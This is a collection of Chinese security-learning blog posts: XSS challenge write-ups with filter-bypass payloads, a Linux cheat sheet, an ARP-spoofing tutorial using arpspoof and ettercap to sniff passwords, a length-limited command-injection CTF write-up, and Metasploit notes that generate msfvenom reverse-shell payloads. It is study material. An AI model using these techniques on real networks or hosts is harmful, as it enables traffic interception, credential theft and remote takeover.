xss从零开始(三)之怒刷google-xss

索引

xss太好玩了,刷题刷题~

level 1 easypass

地址:https://xss-game.appspot.com/level1
easy

<script>alert(1)</alert>

level 2 img标签+事件绕过

地址:https://xss-game.appspot.com/level2

过滤script标签,用事件绕过

<img src=x onerror="alert(1)">

level 3 window.location.hash

地址:https://xss-game.appspot.com/level3


看到url里,有“#”号,联想window.location.hash
那么什么是window.location.hash呢?

window.location.hash属性介绍
location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url。而location.hash则可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin"。利用这个属性值可以做一个非常有意义的事情。

也就是说页面会截取#后面的内容,再将这个值替换到url里进行重定向,这里提交一句话分析一下


如果我们以单引号结尾,我们猜测这个页面会截取单引号前面的内容并把它闭合到src的双引号里。并且在后面的jpg后再追加一个单引号。既然能脱离单引号,一切都好办了,我们用on事件构造:

4' onerror="alert(1)"

成功弹框

level4 编码绕过

地址:https://xss-game.appspot.com/level4

题目给了一个自己写的js函数叫做startime,执行时会进行相应的延时
函数的闭合如图:

思路是在onload事件里构造语句,出现弹框,但是过滤了分号,那么我们可以用URL编码来代替分号

1')%3Balert('1

还有两种思路:

1') || alert('1

也可以用下面这种方法,不需要任何编码/操作符:

1');alert(1);//

我尝试用html编码绕,但是过滤了&和#

level 5

地址:https://xss-game.appspot.com/level5

这题看提示,注意singup页面的url

singup页面还看到了next按钮,查看元素发现:

奥,事情不简单,我们传入一个next值,然后重定向给href属性。果断用javascript伪协议
payload:

?next=javascript:alert(1)

弹框~

level 6

地址:https://xss-game.appspot.com/level6

这题会截取#以后的内容,加载到一个新的script标签里的src属性内。我认为是引入一个js脚本的意思。如图

这里利用DATA URI Scheme来执行js代码

http://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);

xss从零开始(二)之怒刷xss-quiz

刷题

话不多说,刷题,平台:xss-quiz

chanllenge1

直接丢payload

<script>alert(document.domain)</script>

document.domain 弹出当前网页的网址

challenge2

随便查一个语句看一下浏览器是怎么渲染的

查询的东西嵌在input标签里的value属性里,解析不到script标签不会调用Js,构造一下bypass逃逸input标签。

"><script>alert(document.domain)</script>value="12

challenge3 其它input框的xss

题目地址

普通构造,右键源码发现把尖括号实体化编码了。

用编码没绕过去,p2选择出存在xss无过滤,改一下参数为构造语句再提交

challenge4 隐藏input框

题目地址

隐藏有个p3输入框,type从hidden改为test,构造payload:

"><script>alert(document.domain)</script><value="

challenge5 长度限制

题目地址

长度限制改一下就行了

"><script>alert(document.domain)</script><value="

challenge6 on事件bypass尖括号

题目地址

过滤了尖括号,用其它事件绕过去,注意查看元素构造Payload:

鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。

鼠标点击触发js事件:"onclick="alert(document.domain)"

事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"

challenge7 过滤尖括号和双引号和&

题目地址

经测试,输入空格会自动把前面补一个双引号,然后自己多构造一下找规律就行
bypass

a onclick=alert(document.domain)

challenge8 javascript伪协议

从网上学习到:看到输出是在href属性下,用javascript伪协议

常见用到伪协议的属性如下:

src
href
backgroud

学了一波javascript伪协议,看到离歌师傅有一篇文章写的javascript伪协议与url编码联合bypass的文章,感叹还有这种姿势,但是这个道题应该用不到编码,但是我尝试了一下javascript伪协议确实会把“符号”变为“字符串”,从而使用编码,具体看师傅的文章:
利用location来变形我们的XSS Payload

bypass:

javascript:alert(document.domain);

等价的bypass

javascript:alert%28document.domain%29;

challenge9

utf-7编码,看到网上说有问题,直接跳过

challenge10 过滤特定字符

题目地址

过滤了domain,构造出来domain

"><script>alert(document.domdomainain)</script>"<value="

challenge11 编码绕过

题目地址(http://xss-quiz.int21h.jp/stage11th.php?sid=ac29e65dc2666674f15adbe46a2c4af6397173ff)

这题过滤很多:
1,script会被替换为xscript 

2,on事件会被替换为onxxx

3,style会被替换为stxxx

想用html编码绕过构造script标签,结果如下:

后来测试发现,浏览器再解析xml时,先把标签解析成DOM树,而在标签名解析的时候不会解释html编码。解析成DOM树后,html编码解析只对
标签里面属性的值进行解码的。

例如:

<a text="scr&#105;pt"></a>

会被解析为:

<a text="script"></a>

但是脱离属性外的值不会被解码,例如:

<a text="abc" "scr&#105;pt"></a>

还是会被解析成

<a text="abc" "scr&#105;pt"></a>

所以我们构造script标签的思路行不通,那我们可以用html编码构造事件,但是构造事件又会脱离“属性”这个范围,编码不会被解析。那我们就重新构造标签,利用href属性和Javascript伪协议
bypass

"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

challenge12

过滤了<>和双引号,绕不过去双引号闭合,我们用html编码构造的双引号会被认为成“字符串型”的引号,而不是“符号”,所以不能逃逸出来,看到网上wp说用`可以代替引号,前提是IE8浏览器才能这么解释,这里没什么实战意义,就不做了

challenge15 document.write()

题目地址

这题过滤了尖括号,双引号,但在input标签之上引用了document.write的方法,那么什么是document.write方法呢?

w3c里是这样定义的:
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。

也就是说我们在write一下插入的代码就是js范畴了,\u + Unicode编码这种形式是js的编码方法,所以会被解释为<,但是document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes。

因此我们要用\来替代\,payload:

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

一种是unicode编码,一种是\x + 16进制,都可以绕过

总结

剩下的题目有些环境严苛不做研究。总结一下,能调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。或者script标签,如果是标签的话,要脱离其它标签才能开启js解析调用。还有就是一些特定的方法,现在接触到的只有一个document.write。

学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序,that’s important~

xss从零开始(一)

写在前面

这两天事情比较多,学习了一下scrapy只能简单的爬一下没有登陆模拟的页面,以后再写登陆模拟的接口。一直说要学xss却没怎么起步,就是做过几个题粗略的了解。准备系统的学习xss和html内的构造、CSS的渲染。找到一些大神的学习手册,跟着学习一下

一个简单的demo

输出所输入的内容

demo代码

Html知识补充

id属性

id只能唯一,识别作用

class属性

定义的类可以多次引用

div标签

可定义文档中的分区或节(division/section)。
标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具,并且不使用任何格式与其关联。如果用 id 或 class 来标记
,那么该标签的作用会变得更加有效。

div就是一块区域的标签,可以对同一个

元素应用 class 或 id 属性,但是更常见的情况是只应用其中一种。这两者的主要差异是,class 用于元素组(类似的元素,或者可以理解为某一类元素),而 id 用于标识单独的特定的元素。不必为每一个
都加上类或 id。

span标签

自己定义名称的标签,你也可以命名为a标签或者hpdoger标签,标记好id就行

Input标签

输入标签,定义class可以选择demo,type规定输入类型,记得标记id

button标签

字如其名,按钮作用

document.querySelector

获取文档中 id=”demo” 的元素:

document.querySelector("#demo");

innerHTML

innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

这里就是在span标签之间插入value

xss测试

我们插一个Script看是否会弹框

没有弹框,看一下script的位置,原因如下:

w3c规范innerHTML这个api插入的script标签不会被执行

linux基本使用

写在前面

参加了一个小组内的awd,体验感极差,上来被人抓着phpmyadmin改了密码,无限被check,非root用户我不会改mysql密码(其实当时是没意识到),在查linux文件、编辑、复制过程中一度出现命令忘记。。在这篇持续记录一下自己使用的centos7的命令吧。。

用户和组

查看自己的用户名

whoami

增加一个test组

groupadd test

删除一个test组

groupdel test2

查看当前用户所在的组

gours

查看所有组

cat /etc/group

添加用户(参考帮助文档进行用户配置)

useradd -g test -m  hpdoger #添加hpdoger到test组并创建用户目录(要先创建test组)

具体参考 useradd -help

若想创建不能登陆的用户

useradd -g test2 -M -s /sbin/nologin hpdoger #添加hpdoger到test组不创建用户目录,并且不可用于登录

修改hpdoger用户密码

passwd hpdoger

切记,创建完用户要修改密码,否则用户不能登陆

普通账号与root的切换

root切换为普通: login -f hpdoger
普通切换成root权限: su # 然后输入密码

端口类命令

查看端口

我的centos7把firewall给ban了,那么查看端口的命令我用的是这个:
[root@vultr ~]# netstat -lnp

开放/关闭端口监听:

我用ncat进行监听,监听命令:
nc -l -p 8888 -vvv

停止监听:
ctrl + c

注意ctrl + z并不是停止,而是退出当前监听命令界面,仍然在执行监听

文件类命令

进入目录

cd /home # into dir named home
cd ../ # into superior dir
cd - # into last dir which u are from 

创建/删除目录

mkdir ilove # make dir named ilove
rm -rf ilove # delete dir named ilove

显示当前路径

pwd

复制目录

cp -a /root/ilove/ifuck /root # 第一个为原目录地址,第二个为新目录父级目录地址

原目录地址必须为绝对路径

新建/打开/删除文件

vi filename # 创建了一个叫filename的文件了,如果存在就打开了。

进入插入模式,按一下字母「i」就可以进入「插入模式(Insert mode)」,这时候你就可以开始输入文字了。

当处于vi编辑模式时,想要退出的话按esc后输入冒号然后再输入wq,就能退出并保存。
linux 不区分文本和二进制,不需要文件名有txt。

rm -f filename # 删除文件

vi的基本操作

操作 解析
i 进入编辑文本模式
Esc 退出编辑文本模式
:w 保存当前修改
:q 不保存退出vi
:wq 保存当前修改并退出vi

查看当前文件内容

cat /root/ilove/filename # 查看相应目录的文件内容

查询类相关命令

find语句的用法

语句 解析
find / -name file1 从 ‘/’ 开始进入根文件系统查找文件和目录
find / -user user1 查找属于用户 ‘user1’ 的文件和目录
find /home/user1 -name *.bin 在目录 ‘/ home/user1’ 中查找以 ‘.bin’ 结尾的文件
find /usr/bin -type f -atime +100 查找在过去100天内未被使用过的执行文件
find /usr/bin -type f -mtime -10 查找在10天内被创建或者修改过的文件
locate *.ps 寻找以 ‘.ps’ 结尾的文件,先运行 ‘updatedb’ 命令
find -name ‘*.[ch]’ | xargs grep -E ‘expr’ 在当前目录及其子目录所有.c和.h文件中查找 ‘expr’
find -type f -print0 | xargs -r0 grep -F ‘expr’ 在当前目录及其子目录的常规文件中查找 ‘expr’
find -maxdepth 1 -type f | xargs grep -F ‘expr’ 在当前目录中查找 ‘expr’

前几天做题py到了一个很牛逼的查询flag的find用法,先看一下语句:

find / -iname "flag*" 2>/dev/null 

寻找可写目录

find / -type d -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找可写文件

find / -type f -writable 2>/dev/null | grep -v -P '(^/proc)|(^/dev)'

寻找最近20分钟内修改的文件

find /var/www/html -mmin -20 -type f -print

补一下相关知识

/dev/null
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF[1]。在程序员行话,尤其是Unix行话中,/dev/null被称为比特桶[2]或者黑洞。

数据流重定向
操作符 | 解析
—— | —-
1> | 以覆盖的方法将“正确的数据”输出到指定的文件或设备上
1>> | 以累加的方法将“正确的数据”输出到指定的文件或设备上
2> | 以覆盖的方法将“错误的数据”输出到指定的文件或设备上;
2>> | 以累加的方法将“错误的数据”输出到指定的文件或设备上;

所以这句话的意思就是搜索所有文件名包含flag字段的文件,并把错误的搜索项以覆盖的方式丢弃到/dev/null

文本内容查找

命令 解析
grep str /tmp/test 在文件 ‘/tmp/test’ 中查找 “str”
grep ^str /tmp/test 在文件 ‘/tmp/test’ 中查找以 “str” 开始的行
grep [0-9] /tmp/test 查找 ‘/tmp/test’ 文件中所有包含数字的行
grep str -r /tmp/* 在目录 ‘/tmp’ 及其子目录中查找 “str”
diff file1 file2 找出两个文件的不同处
sdiff file1 file2 以对比的方式显示两个文件的不同

权限类相关

修改上传目录权限

linux 修改某目录下所有所有子目录权限

chmod -R 777 html

修改某目录为任何用户都用写读执行权限

chmod a+rwx html

显示进程

ps -ef # 列出所有进程信息,包括pid

杀死进程

kill [option] pid

选项 -9 会强行终止进程

系统相关

关机/重启

shutdown -h now # 关机
shutdown -r now # 重启

查看Ip

ifconfig

查看参考手册(例如arpspoof 命令)

man arpspoof

linux中的&&和&,|和||

&  表示任务在后台执行,如要在后台运行redis-server,则有  redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'    

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"

写在最后

目前接触到的有这些,还有很多命令没接触到,日后一并记录到此。已知的,chomd目前还没有记载

相关链接

linux添加用户,用户组(centos7)
【Linux】CentOS7 常用命令集合

浅谈Arp攻击和利用Arp欺骗进行MITM

原文已投稿安全客,转载自安全客:
浅谈Arp攻击和利用Arp欺骗进行MITM

索引

arp欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)。下面着重讲一下中间人攻击的原理,配和实战演练分析,不对的地方,还请大家多多反馈和包涵!

MITM

借用Wiki百科的一个比喻来理解MITM(中间人攻击):

假设爱丽丝(Alice)希望与鲍伯(Bob)通信。同时,马洛里(Mallory)希望拦截窃会话以进行窃听并可能在某些时候传送给鲍伯一个虚假的消息。

  1. 首先,爱丽丝会向鲍勃索取他的公钥。如果Bob将他的公钥发送给Alice,并且此时马洛里能够拦截到这个公钥,就可以实施中间人攻击。马洛里发送给爱丽丝一个伪造的消息,声称自己是鲍伯,并且附上了马洛里自己的公钥(而不是鲍伯的)。

  2. 爱丽丝收到公钥后相信这个公钥是鲍伯的,于是爱丽丝将她的消息用马洛里的公钥(爱丽丝以为是鲍伯的)加密,并将加密后的消息回给鲍伯。马洛里再次截获爱丽丝回给鲍伯的消息,并使用马洛里自己的私钥对消息进行解密,如果马洛里愿意,她也可以对消息进行修改,然后马洛里使用鲍伯原先发给爱丽丝的公钥对消息再次加密。当鲍伯收到新加密后的消息时,他会相信这是从爱丽丝那里发来的消息。

我们的身份就是Mallory,我们希望欺骗Alice和Bob,让其认为我们是交互的正确目标,从而来获取他们之间交流的信息。

Arp攻击分析

想要进行中间人攻击,先理解最基础的arp攻击

Arp协议

ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址。

以太网(局域网)进行信息传输时,不是根据IP地址进行通信,因为IP地址是可变的,用于通信是不安全的。然而MAC地址是网卡的硬件地址,一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。

Arp通信过程

  1. 每台主机都会在自己的ARP缓冲区建立一个ARP列表(生命周期二十分钟),用于表示IP地址和MAC地址的对应关系。

  2. 主机A若想和主机B通信,首先主机A会查询Arp缓存表(后面称ip-mac缓存表)是否有B主机对应的ip-mac,有的话就将B主机的mac地址封装到数据包发送。若没有的话,主机A会向以太网发送一个Arp广播包,告诉以太网内的所有主机自己的ip-mac,并请求B主机(以ip来表示B主机)的mac地址。当B主机收到Arp广播包后,确认A主机是想找自己的mac地址,就会对A主机进行回应一个自己的mac地址。A主机就会更新自己的ip-mac缓存表,同时B主机也会接收A主机的ip-mac对应关系到自己的ip-mac缓存表。

Arp协议缺陷

ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,他就会把对应的ip-mac更新到自己的缓存表

网关的理解

在wiki中这样定义网关:

在计算机网络中,网关(英语:Gateway)是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉,自己的通信目标是一个网关

区别于路由器(由于历史的原因,许多有关TCP/IP的文献曾经把网络层使用的路由器(英语:Router)称为网关,在今天很多局域网采用都是路由来接入网络,因此现在通常指的网关就是路由器的IP),经常在家庭中或者小型企业网络中使用,用于连接局域网和Internet。

网关也经常指把一种协议转成另一种协议的设备,比如语音网关。

网关可以把内网ip转化为外网ip,从而向服务器发出请求。也可以把外网Ip获得的数据包转换成内网ip发给内网主机。

Arp攻击原理

根据以上说的arp协议缺陷,如果我们冒充网关主机C,不停的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们C的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到C主机上,因为没有发给真正的网关,就会造成其它主机的网络中断。

Arp攻击实操

环境

攻击主机A:Kali–>ip: 192.168.11.106
被攻击主机B: windows 7–>ip: 192.168.11.105
网关主机C: 192.168.11.1

我的Kali是在虚拟机下,需要Bridge连接保证机器在同一网段,很多人用Nat连接来转发,在实战的轻快下,需要更改虚拟机的网络配置。

网络配置如图:

实操

这里模拟真实环境,攻击主机A和被攻击主机B在同一局域网下。

  1. 先用命令查看一下ip是否正确:
    Kali:

    可以看到ip是192.168.11.106,网卡信息是:
    Windows7:
  2. 用nmap查看当前网端的活跃主机

nmap命令

nmap -sF 192.168.11.0/24


得到如图活跃主机,可以看到我们的主机B。当然获取Ip的途径不可能这么简单,你也可以用fping的方法来分析,之前我用fping探测局域网windows10的主机,发现Ping不通,win10防火墙还是有点东西。不过你可以根据fping的发送包来推断主机是否真正存活,具体可以google一下fping的用法,这里给推荐一个链接

Kali信息收集:Fping

  1. 检查被攻击主机是否可以正常上网

    百度正常访问
  1. 利用Arpspoof进行欺骗攻击
    Kali自带的Arpspoof可以很好的进行欺骗,man arpspoof查看官网手册(网上翻译):
    名字 
     arpspoof # 截获交换局域网中的数据包
    

用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
# arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

参数
-i interface
# 指定要使用的接口(即指定一块网卡)

-c own|host|both
# 指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

-t target
# 指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

-r
# 毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

host #你想要截获数据包的主机 (通常是网关)。


5. 作为网关欺骗
命令语句

arpspoof -i eth0 -t 192.168.11.105 192.168.1.1

![](https://p3.ssl.qhimg.com/t01364b901401aae698.jpg)
执行命令,Kali会向主机B发送ARP响应包,响应包的内容是Kali的ip-mac地址,而响应包里的ip则是网关主机ip地址。每一行代表一个响应包。从左到右:自己Kali的mac、主机B的mac、帧类型码(0806,代表ARP包)、包大小、包内容。

6. 被攻击主机B网络中断
![](https://p1.ssl.qhimg.com/t0178e6ea7a6cacc21f.png)
在kali终端输入control + c 可以停止,然后主机重新恢复正常联网状态

## 基于Arp攻击理解下的MITM
在前面Arp成功进行攻击后,我们开始作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。

值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。

如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求。由于放假在家我的usb无线网卡落在了寝室..下面仅以文字给大家介绍攻击的思路和流程,还请见谅.......
### linux的ip转发
linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4的ip_forward中。默认为0,需要修改为1。

开启方法大致有两种:
1. 只接进入文件修改

cd /proc/sys/net/ipv4
ls
cat ip_forward

#显示结果为0
echo 1 > ip_forward
cat ip_forward

#显示结果为1,修改成功

2. 使用echo

echo “1”> /proc/sys/net/ipv4/ip_forward


### 对网关和目标主机B的双向欺骗
这里进行一步执行,选用第二种Ip转发手段
命令如下:

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1


### 利用driftnet进程监控
持续保持欺骗,再重新打开一个命令终端。
输入命令:

root@kali:~# driftnet -i eth0

跳出来的drift窗口即会显示本机正在浏览的图片

### 使用ettercap工具获取密码
1. 打开新的终端,输入 attercap -G 启动工具
2. 点击Sniff -> unified sniffing,选择要抓包的网卡,默认是自己的网卡eth0,点确定
3. 然后单击Hosts -> Scan for host,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表
4. 选择攻击目标,点击192.168.11.105的ip地址,点击Add to Target 1 ,然后选择网关的ip地址192.168.11.1,点击Add to Target 2
5. 明确目标攻击方式:点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
6. 开始监听:start -> Start sniffing 

工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。

### urlsnarf:获得受害者的HTTP请求
输入命令:

root@kali:~# urlsnarf -i eth0
```

使用Wireshark抓包

使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。

关于Arp欺骗的防御


防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表。如果想知道对方主机的ip地址其实也容易。我们在Cmd下键入命令arp -a看一下相同mac,就找到了攻击者。

总结

  • 公共区域的wifi存在钓鱼风险
  • 在传输数据过程中尽量使用加密程序

一提的是,我们从始至终双向欺骗的是网关主机

###

HITCON CTF命令执行绕过

#HITCON CTF命令执行绕过

写在前面

最近开始暑假生活,基本上是吃喝玩乐。但是过两天还有一场peakgeek,不想让自己松懈,学习一道命令执行的题目,由于没有自己的服务器来搭小马,我就大致在自己的linux进行绕过操作,才发现自己linux命令学的狗屁不是,构造能力也特别垃圾

BabayFirst

题目给的源码

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

linux写文件命令

题目大致意思是给每个人创建一个不同的目录,然后你在当前目录下进行命令执行。

命令的长度不能超过5
这里有一篇文章:
从七个字符长度的任意命令执行到GetShell

文章讲了一种方法,通过>命令建立空文件,再用ls -t>把当前目录的文件名当作文件内容导入到一个新的文件中。新的文件中也包含当前文件名,内容按照ascii码表排序换行。

linux还有一个小技巧,\可以对命令进行换行,是命令的拼接操作,具体如下

先看一下它是如何Work的:

这里我们用ls语句把当前文件夹下的文件名写成一个新文件叫做down,可以看到我们用>来创建空文件,文件名包含反斜杠\,这样我们执行sh的时候就可以拼接命令。从图也可以看到,遇到错误命令会报错,但是不会终止,依旧输出了1。也就是”echo 1”

值得注意的是,若文件名有反斜杠,则要用\\来写,还有空格、>要用\\>来写,用转义符。

根据图片的ls可以看到,我们的文件名是按ascii码表排的,生成文件的话命令是杂乱的,也是无效的。所以我们用ls -t>按照时间顺序来写入文件。

但是这题有长度限制, ls -t>已经超过5个字符。
网上思路是把ls -t>也写成一个文件,用sh执行,那么就需要构造这个文件了。
构造思路纠结了我很久,后来看到一种巧妙的方法,借助>>来文件追加
写文件过程:

>l\\
>s \\
>-t\\
>\>g

接着执行ls>a,得到a中文件内容应该是这样的:

'-t\'
'>g'
'a'
'l\'
's \'

如果我们追加ls>>a则内容应该是这样的:

'-t\'
'>g'
'a'
'l\'
's \'
'-t\'
'>g'
'a'
'l\'
's \'

前三行和后三行命令无效,只有中间部分的命令有效。所以a文件的可执行内容就只是:ls -t>g

接着还要构造curl请求来下载一个小马。这点还没有学会,以后再记

用echo和>>追加命令写shell

这个是偶然看到郁离歌的博客里写的,对长度限制不是那么严格的时候可以用。

但是看到别人博客写,有时候这样php文件不能执行,原因就在于换行。最好可以把POST[]写到一行。所以这个方法不是很好,大多数是用wget或者curl下载小马,但是我还没学会

相关链接:
浅谈CTF中命令执行与绕过的小技巧

内网穿透进行Metasploit渗透

初识Metasploit

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,是一个框架,常用于内网渗透。

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

Meterpreter中常用的Shell

reverse_tcp

这是一个基于TCP的反向shell

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定

reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

payload选择的三大要素如下:

  • 木马连接的方向
  • 目标操作系统及版本
  • 反弹的shell类型

木马连接方向:
msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试)

操作系统位数查看:

getconf LONG_BIT

常用payload

linux相关payload:

1 linux/x86/meterpreter/reverse_tcp
2 linux/x86/meterpreter/bind_tcp
3 linux/x86/shell_bind_tcp
4 linux/x86/shell_reverse_tcp
5 linux/x64/shell_reverse_tcp
6 linux/x64/shell_bind_tcp

windows相关payload:

1 windows/meterpreter/reverse_tcp
2 windows/meterpreter/bind_tcp
3 windows/shell_reverse_tcp
4 windows/shell_bind_tcp
5 windows/x64/meterpreter/reverse_tcp
6 windows/x64/meterpreter/bind_tcp
7 windows/x64/shell_reverse_tcp
8 windows/x64/shell_bind_tcp

payload具体参数含义:

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)
-l, --list       [module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)
-a, --arch       <architecture>  指定payload的目标架构
    --platform   <platform>      指定payload的目标平台
-s, --space      <length>        设定有效攻击荷载的最大长度
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count>         指定payload的编码次数
-c, --add-code   <path>          指定一个附加的win32 shellcode文件
-x, --template   <path>          指定一个自定义的可执行文件作为模板
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options            列举payload的标准选项
-o, --out   <path>               保存payload
-v, --var-name <name>            指定一个自定义的变量,以确定输出格式
    --shellest                   最小化生成payload
-h, --help                       查看帮助选项
    --help-formats               查看msf支持的输出格式列表

一个典型的msfvenom使用举例如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=7777 -f exe -o /tmp/my_payload.exe

自己的看法

最近真的好忙…然后又在这里胡乱研究Metasploit,感觉后天实验班考核要凉凉…
背景:我有一台Kali的虚拟机,一台外网vps,想要渗透一台win7的虚拟机。目前还没有学到提权,只是会用msf生成反弹马,然后msf监听外网vps接收的数据。win7我虚拟机开了Nat进行转发,传上去了小马,菜刀连接上。

因为我是内网的Kali,所以要进行内网穿透:
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透,就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。

首先我们为什么要内网穿透?因为我们的kali在内网,当木鸡(简称)执行我们msf生成的EXE木马时,它会把自己的Shell反弹出去,当然这个Shell不可能反弹到我们自己的内网。那么我们就需要有个外网的ip来监听这个Shell。当然,我们也可以用自己的外网ip来映射到kali上。但是一方面我觉得不安全,另一方面我觉得windows限制太多了,所以就利用我有的一台Centos7的VPS来当作这个跳板。时间不多了,开始记录一下目前的步骤:

获取meterpreter会话

VPS开启流量转发

在网上看到有人说用lcx作为内网端口转发的工具,但是centos7好像编译环境不允许lcx,使用不起。用Ssocks搭建隧道,监听两个端口,7777用来接收来自受害者反弹的shell,7778将7777的流量转发出。下载sSocks,执行命令编译./configure && make,进入src文件夹

./rcsocks -l 7777 -p 7778

生成Payload

Kali生成Payload in Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Kali生成Payload in Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Kali分步生成Payload

分步执行:

